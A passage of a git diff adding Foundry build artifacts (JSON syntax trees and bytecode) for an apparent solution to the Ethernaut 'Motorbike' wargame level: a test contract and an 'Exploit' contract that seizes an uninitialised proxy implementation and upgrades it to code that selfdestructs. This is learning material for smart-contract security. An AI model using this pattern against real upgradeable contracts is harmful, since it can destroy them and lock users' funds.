external"}},"id":62737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1716:81:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62738,"nodeType":"ExpressionStatement","src":"1716:81:139"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62739,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1807:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1810:9:139","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1807:12:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1807:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62743,"nodeType":"ExpressionStatement","src":"1807:14:139"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"758:5:139","parameters":{"id":62608,"nodeType":"ParameterList","parameters":[],"src":"763:2:139"},"returnParameters":{"id":62609,"nodeType":"ParameterList","parameters":[],"src":"773:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62761,"nodeType":"FunctionDefinition","src":"2080:161:139","nodes":[],"body":{"id":62760,"nodeType":"Block","src":"2107:134:139","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f207468652063757272656e742075736572","id":62752,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2133:50:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""},"value":"This instance doesn't belong to the current user"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""}],"expression":{"id":62749,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2117:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2120:12:139","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"2117:15:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":62753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2117:67:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62754,"nodeType":"ExpressionStatement","src":"2117:67:139"},{"expression":{"arguments":[{"id":62756,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"2214:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"id":62757,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"2225:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62755,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2194:19:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62758,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2194:40:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":62759,"nodeType":"ExpressionStatement","src":"2194:40:139"}]},"documentation":{"id":62746,"nodeType":"StructuredDocumentation","src":"2012:63:139","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"2089:8:139","parameters":{"id":62747,"nodeType":"ParameterList","parameters":[],"src":"2097:2:139"},"returnParameters":{"id":62748,"nodeType":"ParameterList","parameters":[],"src":"2107:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62779,"nodeType":"FunctionDefinition","src":"2296:128:139","nodes":[],"body":{"id":62778,"nodeType":"Block","src":"2324:100:139","nodes":[],"statements":[{"expression":{"arguments":[{"id":62768,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"2348:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62765,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2334:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62767,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2337:10:139","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2334:13:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2334:21:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62770,"nodeType":"ExpressionStatement","src":"2334:21:139"},{"expression":{"arguments":[{"arguments":[{"id":62773,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"2396:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"id":62774,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"2407:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62772,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2376:19:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2376:40:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62771,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2365:10:139","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2365:52:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62777,"nodeType":"ExpressionStatement","src":"2365:52:139"}]},"documentation":{"id":62762,"nodeType":"StructuredDocumentation","src":"2247:44:139","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"2305:9:139","parameters":{"id":62763,"nodeType":"ParameterList","parameters":[],"src":"2314:2:139"},"returnParameters":{"id":62764,"nodeType":"ParameterList","parameters":[],"src":"2324:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62793,"nodeType":"FunctionDefinition","src":"2430:73:139","nodes":[],"body":{"id":62792,"nodeType":"Block","src":"2453:50:139","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"30","id":62787,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2492:1:139","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":62786,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2484:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62785,"name":"address","nodeType":"ElementaryTypeName","src":"2484:7:139","typeDescriptions":{}}},"id":62788,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2484:10:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62784,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2476:8:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62783,"name":"address","nodeType":"ElementaryTypeName","src":"2476:8:139","stateMutability":"payable","typeDescriptions":{}}},"id":62789,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2476:19:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62782,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"2463:12:139","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":62790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2463:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62791,"nodeType":"ExpressionStatement","src":"2463:33:139"}]},"functionSelector":"ae8421e1","implemented":true,"kind":"function","modifiers":[],"name":"done","nameLocation":"2439:4:139","parameters":{"id":62780,"nodeType":"ParameterList","parameters":[],"src":"2443:2:139"},"returnParameters":{"id":62781,"nodeType":"ParameterList","parameters":[],"src":"2453:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":62595,"name":"Test","nameLocations":["439:4:139"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"439:4:139"},"id":62596,"nodeType":"InheritanceSpecifier","src":"439:4:139"},{"baseName":{"id":62597,"name":"Utils","nameLocations":["445:5:139"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"445:5:139"},"id":62598,"nodeType":"InheritanceSpecifier","src":"445:5:139"}],"canonicalName":"TestMotorbike","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62794,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestMotorbike","nameLocation":"422:13:139","scope":62795,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":139} \ No newline at end of file diff --git a/contracts/out/MotorbikeAttack.sol/Exploit.json b/contracts/out/MotorbikeAttack.sol/Exploit.json new file mode 100644 index 000000000..c25f99f1e --- /dev/null +++ b/contracts/out/MotorbikeAttack.sol/Exploit.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"initialize","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x6080604052348015600f57600080fd5b50606e80601d6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80638129fc1c14602d575b600080fd5b60336035565b005b33fffea2646970667358221220a5b81b09d489c90d1c264324025fad20729e72e3058b3993bc7833261473f2f064736f6c634300060c0033","sourceMap":"1034:97:5:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80638129fc1c14602d575b600080fd5b60336035565b005b33fffea2646970667358221220a5b81b09d489c90d1c264324025fad20729e72e3058b3993bc7833261473f2f064736f6c634300060c0033","sourceMap":"1034:97:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1057:72;;;:::i;:::-;;;1111:10;1098:24","linkReferences":{}},"methodIdentifiers":{"initialize()":"8129fc1c"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/MotorbikeAttack.sol\":\"Exploit\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]},\"src/attacks/MotorbikeAttack.sol\":{\"keccak256\":\"0x132aa9c7710a7bdedfd0ef511e61e261494a997af5dcdbc7d5e7276fbc2db084\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://24ebef00e24106b2f16595102b73856021a543f7635be505e24388e346cba44a\",\"dweb:/ipfs/QmUpFm8JTrkBtc7rjyHZFZFY1EJx4YMH1nr7seZb3pkULa\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"initialize"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/MotorbikeAttack.sol":"Exploit"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"},"src/attacks/MotorbikeAttack.sol":{"keccak256":"0x132aa9c7710a7bdedfd0ef511e61e261494a997af5dcdbc7d5e7276fbc2db084","urls":["bzz-raw://24ebef00e24106b2f16595102b73856021a543f7635be505e24388e346cba44a","dweb:/ipfs/QmUpFm8JTrkBtc7rjyHZFZFY1EJx4YMH1nr7seZb3pkULa"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/MotorbikeAttack.sol","id":935,"exportedSymbols":{"Exploit":[934],"MotorbikeAttack":[924]},"nodeType":"SourceUnit","src":"33:1099:5","nodes":[{"id":851,"nodeType":"PragmaDirective","src":"33:23:5","nodes":[],"literals":["solidity","<","0.7",".0"]},{"id":852,"nodeType":"ImportDirective","src":"58:53:5","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","file":"openzeppelin-contracts-06/utils/Address.sol","scope":935,"sourceUnit":827,"symbolAliases":[],"unitAlias":""},{"id":924,"nodeType":"ContractDefinition","src":"113:919:5","nodes":[{"id":854,"nodeType":"VariableDeclaration","src":"198:29:5","nodes":[],"constant":false,"functionSelector":"5c60da1b","mutability":"mutable","name":"implementation","overrides":null,"scope":924,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":853,"name":"address","nodeType":"ElementaryTypeName","src":"198:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"public"},{"id":858,"nodeType":"EventDefinition","src":"234:25:5","nodes":[],"anonymous":false,"documentation":null,"name":"Check","parameters":{"id":857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":856,"indexed":false,"mutability":"mutable","name":"result","nodeType":"VariableDeclaration","overrides":null,"scope":858,"src":"246:11:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":855,"name":"bool","nodeType":"ElementaryTypeName","src":"246:4:5","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"245:13:5"}},{"id":868,"nodeType":"FunctionDefinition","src":"265:71:5","nodes":[],"body":{"id":867,"nodeType":"Block","src":"298:38:5","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":865,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":863,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"308:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":864,"name":"impl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":860,"src":"325:4:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"308:21:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":866,"nodeType":"ExpressionStatement","src":"308:21:5"}]},"documentation":null,"implemented":true,"kind":"constructor","modifiers":[],"name":"","overrides":null,"parameters":{"id":861,"nodeType":"ParameterList","parameters":[{"constant":false,"id":860,"mutability":"mutable","name":"impl","nodeType":"VariableDeclaration","overrides":null,"scope":868,"src":"277:12:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":859,"name":"address","nodeType":"ElementaryTypeName","src":"277:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"276:14:5"},"returnParameters":{"id":862,"nodeType":"ParameterList","parameters":[],"src":"298:0:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":884,"nodeType":"FunctionDefinition","src":"342:189:5","nodes":[],"body":{"id":883,"nodeType":"Block","src":"397:134:5","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":876,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"468:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"696e697469616c697a652829","id":879,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"508:14:5","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""},"value":"initialize()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""}],"expression":{"argumentTypes":null,"id":877,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"484:3:5","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":878,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"484:23:5","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":880,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"484:39:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":873,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"447:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":875,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"functionCall","nodeType":"MemberAccess","referencedDeclaration":601,"src":"447:20:5","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"447:77:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":882,"nodeType":"ExpressionStatement","src":"447:77:5"}]},"documentation":null,"functionSelector":"91858734","implemented":true,"kind":"function","modifiers":[],"name":"takeControl","overrides":null,"parameters":{"id":869,"nodeType":"ParameterList","parameters":[],"src":"362:2:5"},"returnParameters":{"id":872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":871,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":884,"src":"383:12:5","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":870,"name":"bytes","nodeType":"ElementaryTypeName","src":"383:5:5","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"382:14:5"},"scope":924,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":912,"nodeType":"FunctionDefinition","src":"537:385:5","nodes":[],"body":{"id":911,"nodeType":"Block","src":"565:357:5","nodes":[],"statements":[{"assignments":[888],"declarations":[{"constant":false,"id":888,"mutability":"mutable","name":"exploit","nodeType":"VariableDeclaration","overrides":null,"scope":911,"src":"654:15:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"},"typeName":{"contractScope":null,"id":887,"name":"Exploit","nodeType":"UserDefinedTypeName","referencedDeclaration":934,"src":"654:7:5","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}},"value":null,"visibility":"internal"}],"id":892,"initialValue":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":890,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"672:11:5","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Exploit_$934_$","typeString":"function () returns (contract Exploit)"},"typeName":{"contractScope":null,"id":889,"name":"Exploit","nodeType":"UserDefinedTypeName","referencedDeclaration":934,"src":"676:7:5","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}}},"id":891,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"672:13:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}},"nodeType":"VariableDeclarationStatement","src":"654:31:5"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":896,"name":"implementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":854,"src":"730:14:5","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"75706772616465546f416e6443616c6c28616464726573732c627974657329","id":899,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"799:33:5","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_4f1ef2866b98625bdfefae89411f7a82754ac4089eff8e78c8832329a538337f","typeString":"literal_string \"upgradeToAndCall(address,bytes)\""},"value":"upgradeToAndCall(address,bytes)"},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":902,"name":"exploit","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":888,"src":"842:7:5","typeDescriptions":{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Exploit_$934","typeString":"contract Exploit"}],"id":901,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"834:7:5","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":900,"name":"address","nodeType":"ElementaryTypeName","src":"834:7:5","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"834:16:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"696e697469616c697a652829","id":906,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"876:14:5","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""},"value":"initialize()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""}],"expression":{"argumentTypes":null,"id":904,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"852:3:5","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":905,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"852:23:5","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":907,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"852:39:5","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4f1ef2866b98625bdfefae89411f7a82754ac4089eff8e78c8832329a538337f","typeString":"literal_string 